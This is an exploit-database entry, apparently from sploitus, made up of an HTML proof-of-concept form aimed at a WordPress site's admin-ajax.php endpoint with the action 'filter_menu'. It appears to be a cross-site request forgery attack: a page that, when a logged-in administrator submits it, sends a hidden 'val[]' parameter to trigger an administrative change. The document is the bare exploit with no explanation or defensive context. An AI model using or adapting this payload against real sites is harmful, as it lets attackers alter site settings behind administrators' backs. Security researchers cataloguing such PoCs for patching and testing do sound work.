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## https://sploitus.com/exploit?id=WPEX-ID:07757D1E-39AD-4199-BC7A-ECB821DFC996
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php?action= filter_menu" method="POST">
      <input type="hidden" name="val[]" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>